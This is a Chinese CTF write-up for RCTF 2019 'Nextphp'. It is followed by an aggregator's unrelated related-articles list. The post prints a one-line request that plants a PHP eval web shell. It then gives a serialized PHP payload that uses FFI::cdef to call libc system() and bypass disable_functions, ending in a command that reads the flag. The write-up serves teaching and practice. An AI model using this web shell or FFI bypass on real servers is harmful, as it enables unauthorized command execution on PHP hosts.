FFI绕过disable_functions

这篇具有很好参考价值的文章主要介绍了FFI绕过disable_functions。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

FFI绕过disable_functions

[RCTF 2019]Nextphp

首先来看这道题目

index.php

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

查看一下phpinfo

FFI绕过disable_functions,wp,web安全,PHP FFI,CTF

发现过滤了很多函数,我们写个马:

/?a=file_put_contents('1.php',"<?php @eval($_POST[1]);?>");

蚁剑连接:

FFI绕过disable_functions,wp,web安全,PHP FFI,CTF

preload.php

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

本来想尝试使用LD_PRELOAD等方式绕过disable_functions,但是禁用了mailputenv()等函数,没办法了

这了我们获取到了preload.php文件,这里就不得不提到PHP7.4 FFI

PHP7.4 FFI

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步。

使用条件:

Linux 操作系统
PHP >= 7.4
开启了 FFI 扩展且 ffi.enable=true

如果我们要调用C标准库里面的system函数(先不考虑PHP自己实现了system函数),我们就使用cdef去加载,cdef会把存放system函数功能的动态链接库libc加载到内存里面,这样PHP的进程空间里就有了这个system,这也是disable_functions里面过滤了system函数,但是结果的payload里面仍然还使用了system的原因,因为我们是加载c库函数中的system函数的

所以此处的思想就是使用PHP代码来调用c代码的方式,先声明c中的命令执行函数,然后通过FFI变量调用该c函数即可bypass

由于这里的php版本是7.4,所以我们就可以使用这种方式了

exp:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {

        $this->data = unserialize($payload);

    }
}

$a = new A();
echo serialize($a);

# C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}

这里我们需要注释掉__serialize()函数,否则就会先执行__serialize(),这里我们需要执行的是serialize()函数

FFI绕过disable_functions,wp,web安全,PHP FFI,CTF

然后我们传参:

/?a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('cat /flag > /var/www/html/1.txt');

首先反序列化得到A对象,然后调用__serialize()返回$this->data数组,取其中的ret变量,由于调用unserialize()时会调用run(),所以导致ret=FFI::cdef(int system(char *command);)就相当于声明了一个FFI对象,然后执行system()函数即可

参考

https://www.cnblogs.com/karsa/p/13393034.html

https://blog.csdn.net/RABCDXB/article/details/120319633

简单讲解如何绕过PHP disable_function文章来源地址https://www.toymoban.com/news/detail-671601.html

到了这里,关于FFI绕过disable_functions的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【Rust 基础篇】Rust FFI:连接Rust与其他编程语言的桥梁

    Rust是一种以安全性和高效性著称的系统级编程语言,具有出色的性能和内存安全特性。然而,在现实世界中,我们很少有项目是完全用一种编程语言编写的。通常,我们需要在项目中使用多种编程语言,特别是在与现有代码库或底层系统交互时。为了实现跨语言的互操作性,

    2024年02月15日
    浏览(49)
  • Flutter Dart FFI Pointer<Uint8>类型如何转成数组或String

    继上一次发布的 Flutter 直接调用so动态库,或调用C/C++源文件内函数 内容,最终我选择了第二种方式, 直接把整个 Native C++ 的项目源代码放进了 Flutter 工程里编译 (放在iOS的目录是因为它不支持自定义源码路径,Android是可以的)。这样的好处是 Android 和 iOS 两个平台都不需要

    2024年02月04日
    浏览(47)
  • 教程:Flutter 和 Rust混合编程,使用flutter_rust_bridge自动生成ffi代码

    实践环境:Arch Linux flutter_rust_bridge官方文档 Flutter环境配置教程 | Rust环境配置教程 记录使用 flutter_rust_bridge 遇到的一些坑。 假设我们已经配置了Fluuter与Rust环境 现在直接使用flutter_rust_bridge模板创建自己的项目 运行: 现在我们先让项目跑起来: 编辑 native/src/api.rs 安装代码生

    2024年02月09日
    浏览(85)
  • Conda虚拟环境下libp11-kit.so.0: undefined symbol: ffi_type_pointer...问题解决

    最近需要在Conda虚拟环境下运行ROS相关代码,其中在运行代码 import moveit_commander 时,返回报错 ImportError: /lib/x86_64-linux-gnu/libp11-kit.so.0: undefined symbol: ffi_type_pointer, version LIBFFI_BASE_7.0 。由于在网上没有找到和我一样的问题,且在github上也没找到解决方法,以为是个例就没打算记

    2024年02月03日
    浏览(40)
  • Verilog基础:disable语句

    相关文章 Verilog基础专栏 https://blog.csdn.net/weixin_45791458/category_12263729.html          disable语句提供了终止并发活动过程的能力,同时保持了Verilog过程描述的结构化本质。disable语句在处理意外情况时很有用,例如硬件中断或全局复位。         disable语句可以有如下用途。  

    2024年02月13日
    浏览(25)
  • js disabled属性添加删除

    //两种方法设置disabled属性 $(\\\'#areaSelect\\\').attr(\\\"disabled\\\",true); $(\\\'#areaSelect\\\').attr(\\\"disabled\\\",\\\"disabled\\\"); //三种方法移除disabled属性 $(\\\'#areaSelect\\\').attr(\\\"disabled\\\",false); $(\\\'#areaSelect\\\').removeAttr(\\\"disabled\\\"); $(\\\'#areaSelect\\\').attr(\\\"disabled\\\",\\\"\\\"); document.getElementById(“test”).disabled=true; document.getElementById(“test”

    2024年02月11日
    浏览(48)
  • input disabled 不显示 placeholder

    2024年02月06日
    浏览(32)
  • 改变按钮disabled时的默认样式

    微信小程序中,当设置button的disabled值为true时,即disabled=\\\"true\\\",表示按钮禁用,此时按钮会变成灰色并且不可点击。但是默认的disabled样式颜色可能不太合适,我们可以自己调整一下 在对应的wxss文件中加入以下代码即可,颜色自己定 下面来看看效果

    2024年02月13日
    浏览(39)
  • eslint-disable的使用

    导言 如果项目里引入了eslint,但又想eslint忽略对多行或者某一行代码的检查,这时,我们可以使用eslint-disable。 用法 对整个文件生效 在文件第一行使用/* eslint-disable*/ 对于多行代码 使用/* eslint-disable*/和/* eslint-enable*/将代码包裹起来 对于某一行代码 对当前行生效 对下一行生

    2024年02月16日
    浏览(33)
  • disable 禁用元素后无法触发点击事件

    业务需求点击被禁用的输入框触发事件 在被禁用元素上套一层div div上绑定事件 原本是不需要加事件穿透即可触发 但是最近谷歌更新触发不了 加一个事件穿透就好了 核心代码 style=“pointer-events:none” 事件穿透 整体代码

    2024年02月11日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包